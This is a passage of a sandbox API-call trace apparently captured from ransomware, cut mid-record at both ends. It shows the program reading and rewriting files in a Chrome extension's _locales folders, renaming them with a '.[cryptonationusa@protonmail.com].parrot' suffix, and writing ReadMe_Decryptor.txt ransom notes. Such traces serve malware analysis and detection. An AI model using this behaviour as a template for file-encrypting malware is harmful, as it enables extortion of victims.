lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0062.632] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0062.632] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0062.632] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0062.632] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0062.632] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0062.632] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0062.632] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0062.632] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0062.632] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0062.632] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0062.632] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5b0 [0062.632] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0062.632] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0062.632] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0062.632] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0062.632] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0062.632] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0062.632] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0062.632] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240f30 [0062.632] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0062.632] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22407f8 [0062.632] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240f30 | out: hHeap=0x5b0000) returned 1 [0062.632] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d0288 [0062.632] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22407f8 | out: hHeap=0x5b0000) returned 1 [0062.632] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x228) returned 0x69f268 [0062.632] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0288 | out: hHeap=0x5b0000) returned 1 [0062.632] WriteFile (in: hFile=0x284, lpBuffer=0x69f268*, nNumberOfBytesToWrite=0x228, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x69f268*, lpNumberOfBytesWritten=0x18da44*=0x228, lpOverlapped=0x0) returned 1 [0062.633] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0062.633] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x21c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0062.633] CloseHandle (hObject=0x284) returned 1 [0062.634] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x5d0288 [0062.634] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5d03c0 [0062.634] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0288 | out: hHeap=0x5b0000) returned 1 [0062.634] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0062.636] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d03c0 | out: hHeap=0x5b0000) returned 1 [0062.636] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160068 | out: hHeap=0x5b0000) returned 1 [0062.636] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0062.636] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x6a3468 [0062.636] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x6a3590 [0062.636] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0062.636] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0062.636] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x284 [0062.636] GetFileType (hFile=0x284) returned 0x1 [0062.637] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5cee58 [0062.650] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f5, nNumberOfBytesToLockHigh=0x0) returned 1 [0062.650] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0062.650] ReadFile (in: hFile=0x284, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0062.651] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.651] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xdd, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xdd, lpOverlapped=0x0) returned 1 [0062.651] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0062.651] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0062.651] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0062.651] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0062.651] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0062.651] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0062.652] GetLastError () returned 0x0 [0062.653] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.653] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0062.653] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0062.653] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0062.653] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0062.653] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0062.653] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0062.653] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0062.653] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0062.653] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0062.653] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0062.653] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0062.653] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0062.653] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0062.653] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0062.653] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0062.653] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5b0 [0062.653] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0062.653] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0062.653] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0062.654] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0062.654] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0062.654] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0062.654] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0062.654] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240f30 [0062.654] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0062.654] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22407f8 [0062.654] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240f30 | out: hHeap=0x5b0000) returned 1 [0062.654] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d90f8 [0062.654] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22407f8 | out: hHeap=0x5b0000) returned 1 [0062.654] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1f8) returned 0x5d0228 [0062.654] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d90f8 | out: hHeap=0x5b0000) returned 1 [0062.654] WriteFile (in: hFile=0x284, lpBuffer=0x5d0228*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x5d0228*, lpNumberOfBytesWritten=0x18da44*=0x1f8, lpOverlapped=0x0) returned 1 [0062.654] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0228 | out: hHeap=0x5b0000) returned 1 [0062.654] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0062.654] CloseHandle (hObject=0x284) returned 1 [0062.656] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x5d90f8 [0062.656] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5d0228 [0062.656] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d90f8 | out: hHeap=0x5b0000) returned 1 [0062.656] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0062.656] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0228 | out: hHeap=0x5b0000) returned 1 [0062.656] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31601f0 | out: hHeap=0x5b0000) returned 1 [0062.656] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0062.656] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d90f8 [0062.656] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x6a3468 [0062.656] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0062.656] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0062.657] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x284 [0062.657] GetFileType (hFile=0x284) returned 0x1 [0062.657] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5cee58 [0062.752] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x226, nNumberOfBytesToLockHigh=0x0) returned 1 [0062.752] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0062.752] ReadFile (in: hFile=0x284, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0062.753] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.753] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x10e, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x10e, lpOverlapped=0x0) returned 1 [0062.753] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0062.753] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0062.753] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0062.753] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0062.753] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0062.753] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0062.753] GetLastError () returned 0x0 [0062.754] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.754] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0062.754] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0062.754] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0062.754] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0062.755] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0062.755] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0062.755] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0062.755] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0062.755] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0062.755] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0062.755] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0062.755] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0062.755] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0062.755] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0062.755] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0062.755] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5b0 [0062.755] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0062.755] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0062.755] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0062.755] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0062.755] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0062.755] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0062.755] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0062.755] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240f30 [0062.755] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0062.755] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22407f8 [0062.755] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240f30 | out: hHeap=0x5b0000) returned 1 [0062.755] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d0288 [0062.755] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22407f8 | out: hHeap=0x5b0000) returned 1 [0062.755] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x228) returned 0x69f268 [0062.755] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0288 | out: hHeap=0x5b0000) returned 1 [0062.755] WriteFile (in: hFile=0x284, lpBuffer=0x69f268*, nNumberOfBytesToWrite=0x228, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x69f268*, lpNumberOfBytesWritten=0x18da44*=0x228, lpOverlapped=0x0) returned 1 [0062.756] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0062.756] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x226, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0062.756] CloseHandle (hObject=0x284) returned 1 [0062.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x5d0288 [0062.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5d03c0 [0062.757] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0288 | out: hHeap=0x5b0000) returned 1 [0062.757] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0062.843] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d03c0 | out: hHeap=0x5b0000) returned 1 [0062.843] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160378 | out: hHeap=0x5b0000) returned 1 [0062.843] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0062.843] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x6a3468 [0062.843] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x6a3590 [0062.843] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0062.844] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0062.844] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0062.888] GetFileType (hFile=0x280) returned 0x1 [0062.889] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5cee58 [0062.905] LockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x205, nNumberOfBytesToLockHigh=0x0) returned 1 [0062.905] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0062.905] ReadFile (in: hFile=0x280, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0062.906] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.906] ReadFile (in: hFile=0x280, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xed, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xed, lpOverlapped=0x0) returned 1 [0062.906] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0062.906] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0062.906] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0062.906] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0062.906] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0062.906] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0062.906] GetLastError () returned 0x0 [0062.907] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.907] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0062.907] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0062.907] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0062.907] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0062.907] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0062.907] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0062.907] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0062.907] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0062.908] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0062.908] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0062.908] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0062.908] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0062.908] HeapFree (in: 